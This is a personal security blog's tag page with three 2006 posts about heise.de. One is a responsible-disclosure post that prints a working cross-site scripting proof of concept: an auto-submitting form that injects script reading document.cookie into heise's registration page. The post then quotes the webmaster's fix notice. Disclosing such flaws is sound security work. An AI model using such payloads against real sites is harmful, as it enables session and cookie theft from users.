morph3us.org

Entries tagged as heise

Quicksearch

Categories

Syndication

Blogroll

echox
Rodnox

Tagged entries

Entries tagged as heise

Related tags

How-to fake heise news entries

  (Tuesday, September 5. 2006)
As I already mentioned in a previous blog posting titled XSS on heise.de there was a XSS vulnerability on heise.de. I informed heise's webmaster about this bug on December 23, 2005 and received the answer mail which stated that this issue was addressed on January 06, 2006. It's almost unbelievable that this bug is still present to this day.

Continue reading this entry..
Posted by in Security at 14:10
Defined tags for this entry: , ,
Comments (6) | Trackbacks (0)

Really great ideas..

  (Monday, February 13. 2006)
Wer aufgrund der kernelnahen Arbeitsweise eine deutliche Geschwindigkeitssteigerung der Software erwartet, wird ebenfalls enttäuscht. Einen spürbaren Unterschied konnten zumindest wir nicht feststellen, die Security-Suite bremst das System nach wie vor unangenehm aus.

lol. Really great ideas..

http://www.heise.de/newsticker/meldung/69417
Posted by in Fun at 11:11
Defined tags for this entry: ,
Comments (0) | Trackbacks (0)

XSS on heise.de

  (Tuesday, January 3. 2006)
heise.de - a German news site for, amongst others, security related topics - is vulnerable for XSS (Cross Site Scripting). I contacted the webmaster of heise.de about this on December 23 but I did not receive an answer and the XSS vulnerability is still not addressed.

PoC:
<form method="post" action="http://www.heise.de/registration/"
  name="heise">
  <input type="text" name="uid" size="20" value=''>
  <input type="text" name="vorname" size="20"
 value='"><script>alert(document.cookie)</script>'>
  <input type="text" name="name" size="20"
 value='"><script>alert(document.cookie)</script>'>
</form>
<body onload="heise.submit();">

heise-xss-poc.txt

UPDATE: 2006-01-09: 20:26
Hallo Herr Waldegger,

vielen Dank für Ihren Hinweis. Aufgrund der Feiertage hat die Behebung leider etwas länger gedauert.

Mit freundlichen Grüßen
heise online
Webmaster
Posted by in Security at 06:33
Defined tags for this entry: , ,
Comment (1) | Trackbacks (0)
(Page 1 of 1, totaling 3 entries)